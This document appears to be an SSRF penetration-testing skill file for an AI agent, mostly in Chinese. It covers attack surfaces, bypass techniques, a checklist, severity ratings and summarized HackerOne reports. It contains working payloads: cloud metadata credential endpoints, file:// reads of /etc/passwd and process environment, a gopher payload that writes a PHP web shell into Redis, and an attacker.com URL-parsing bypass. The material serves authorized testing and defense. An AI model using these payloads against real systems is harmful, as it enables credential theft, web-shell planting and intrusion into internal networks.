Pentest Ssrf

SSRF Penetration Testing Patterns

当对 Web 应用进行 SSRF 渗透测试时加载此 Skill。覆盖经典 SSRF、Blind SSRF、云环境元数据访问等。

Attack Surface Discovery

高风险功能：

• URL 输入字段：webhook 配置、RSS 订阅、链接预览/缩略图生成
• 文件导入/导出：从 URL 导入文件、PDF 生成、HTML 转图片
• API 集成：OAuth 回调、第三方 API 代理
• 图片/文件处理：远程图片加载、头像 URL、附件导入
• 邮件功能：邮件模板中的远程资源加载
• 报表/分析：导出功能、截图服务

识别信号：

• 参数名包含 url、link、src、dest、redirect、uri、path、endpoint
• 应用发起外部 HTTP 请求的功能
• 错误信息暴露内部网络信息（IP、主机名、端口）

Exploitation Techniques

基础探测：

# 测试内部网络访问
http://127.0.0.1
http://localhost
http://[::1]

# 云元数据端点（将 X 替换为实际 IP）
# AWS IMDSv1: http://169.254.169.254/latest/meta-data/
# AWS IMDSv2: 需先获取 token: PUT http://169.254.169.254/latest/api/token (Header: X-aws-ec2-metadata-token-ttl-seconds: 21600)
# GCP: http://metadata.google.internal/computeMetadata/v1/ (Header: Metadata-Flavor: Google)
# Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header: Metadata: true)
# 注意：云元数据 IP 为链路本地地址 169.254.169.254

# 内网扫描（RFC1918 地址段）
# 10.0.0.0/8 — 如 http://10.0.0.1, http://10.10.10.10
# 172.16.0.0/12 — 如 http://172.16.0.1, http://172.31.255.255
# 192.168.0.0/16 — 如 http://192.168.1.1, http://192.168.0.100

协议利用：

# File 协议读取本地文件
file:///etc/passwd
file:///proc/self/environ

# Gopher 协议构造任意 TCP 请求
gopher://127.0.0.1:6379/_SET%20shell%20%22<%3Fphp%20system(%24_GET['cmd'])%3B%3F>%22

# Dict 协议探测服务
dict://127.0.0.1:6379/INFO

Blind SSRF 检测：

• 使用 Burp Collaborator / interactsh 接收 OOB 回调
• DNS 回调：http://unique-id.burpcollaborator.net
• 时间差异：请求内部存在/不存在的端口，对比响应时间

绕过技巧：

• IP 表示变换：0x7f000001（十六进制）、2130706433（十进制）、0177.0.0.1（八进制）
• DNS 重绑定：域名先解析为外部 IP（通过白名单检查），再解析为内部 IP
• URL 解析差异：http://attacker.com@127.0.0.1、http://127.0.0.1#@allowed.com
• 重定向链：外部 URL 302 跳转到内部地址
• URL 编码：http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31

Detection Checklist

• 识别所有接受 URL/URI 作为输入的端点
• 使用 Burp Collaborator/interactsh 测试 OOB 回调（确认服务端发起请求）
• 尝试访问云元数据端点（AWS/GCP/Azure）
• 测试内部网络地址（127.0.0.1、10.x、172.16.x、192.168.x）
• 尝试 file:// 协议读取本地文件
• 测试 IP 表示变换绕过（十六进制、十进制、八进制、IPv6）
• 测试 URL 重定向绕过（外部 URL 302 到内部地址）
• 测试 DNS 重绑定攻击
• 检查响应中是否泄露内部信息（IP、错误信息、内部服务 banner）
• 评估是否可以从云元数据获取凭证（IAM 角色、Service Account）

Impact Assessment

漏洞利用可达到的效果：

• 内部服务访问：绕过防火墙访问内网服务（Redis、Elasticsearch、数据库管理面板）
• 云凭证窃取：通过元数据 API 获取 IAM 临时凭证，横向移动到其他云服务
• 敏感文件读取：通过 file:// 协议读取服务器本地文件（源码、配置、密钥）
• 端口扫描：探测内部网络拓扑和服务
• 远程代码执行：通过 Gopher 协议攻击内部 Redis/Memcached 等服务获取 RCE

严重度判断：

• Critical：可获取云 IAM 凭证、可访问内部敏感服务（数据库、Redis）、可链式获得 RCE
• High：可读取本地文件、可扫描内部网络、可访问云元数据
• Medium：仅 Blind SSRF（OOB 确认但无数据回显）、受限的协议支持

Real-World Cases

以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。

Case 1: Autodesk — SSRF in Autodesk Rendering leading to account takeover

• 严重度: Critical | CWE: Server-Side Request Forgery (SSRF)
• 摘要: A server side request forgery (SSRF) vulnerability was discovered in Autodesk Rendering. The vulnerability could have allowed an attacker to gain control of a victim's account while they were logged i...
• 报告: https://hackerone.com/reports/3024673

Case 2: HackerOne — Server Side Request Forgery (SSRF) via Analytics Reports

• 严重度: Critical | CWE: Server-Side Request Forgery (SSRF)
• 摘要: We recently received a critical server-side request forgery (SSRF) vulnerability report through our bug bounty program. The issue allowed attackers to make internal requests from our application serve...
• 报告: https://hackerone.com/reports/2262382

Case 3: Lichess — Server-Side Request Forgery (SSRF) via Game Export API

• 严重度: Critical | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The Lichess game export API was found to be vulnerable to Server-Side Request Forgery (SSRF) due to insufficient input validation of the "players" parameter. This allowed an attacker to make the Liche...
• 报告: https://hackerone.com/reports/3165242

Case 4: Stripo Inc — [my.stripo.email] Blind SSRF Vulnerability in Stripo App Export via Missing Endpoints Export Email Message to Zapier

• 严重度: Critical | CWE: Server-Side Request Forgery (SSRF)
• 摘要: A critical Blind SSRF (Server-Side Request Forgery) vulnerability was identified in the export service of the Stripo app. The vulnerability existed in the endpoint `/exportservice/v3/exports/WEBHOOK/a...
• 报告: https://hackerone.com/reports/2932960

Case 5: Stripo Inc — [SSRF] my.stripo.email via the setup-wizard parameter

• 严重度: Critical | CWE: Server-Side Request Forgery (SSRF)
• 摘要: A vulnerability in the setup wizard allowed SSRF. The issue has been resolved.
• 报告: https://hackerone.com/reports/1622432

Case 6: AWS VDP — External service interaction (HTTP)

• 严重度: High | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The External Service Interaction vulnerability was discovered in a URL. The vulnerability allowed an attacker to induce the application to interact with arbitrary external services such as DNS and HTT...
• 报告: https://hackerone.com/reports/2731133

Case 7: IBM — SSRF and secret key disclosure found on Turbonomic endpoint

• 严重度: High | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The SSRF and secret key disclosure vulnerabilities found on the Turbonomic endpoint were reported to IBM, analyzed, and remediated.
• 报告: https://hackerone.com/reports/2697592

Case 8: IBM — SSRF and secret key disclosure found on Turbonomic endpoint

• 严重度: High | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The vulnerability of SSRF and secret key disclosure was found on a Turbonomic endpoint and reported to IBM. The issue was analyzed and remediated.
• 报告: https://hackerone.com/reports/2697601

Case 9: Internet Bug Bounty — important: Apache HTTP Server on WIndows UNC SSRF (CVE-2024-38472)

• 严重度: High | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The Apache HTTP Server on Windows contained a SSRF vulnerability (CVE-2024-38472) that allowed potential leakage of NTLM hashes to a malicious server. The vulnerability was reported through the offici...
• 报告: https://hackerone.com/reports/2585385

Case 10: Internet Bug Bounty — Libuv: Improper Domain Lookup that potentially leads to SSRF attacks

• 严重度: High | CWE: Server-Side Request Forgery (SSRF)
• 摘要: The vulnerability in the libuv library was caused by the improper truncation of hostnames to 256 characters before calling the getaddrinfo function. This behavior allowed the creation of addresses lik...
• 报告: https://hackerone.com/reports/2429894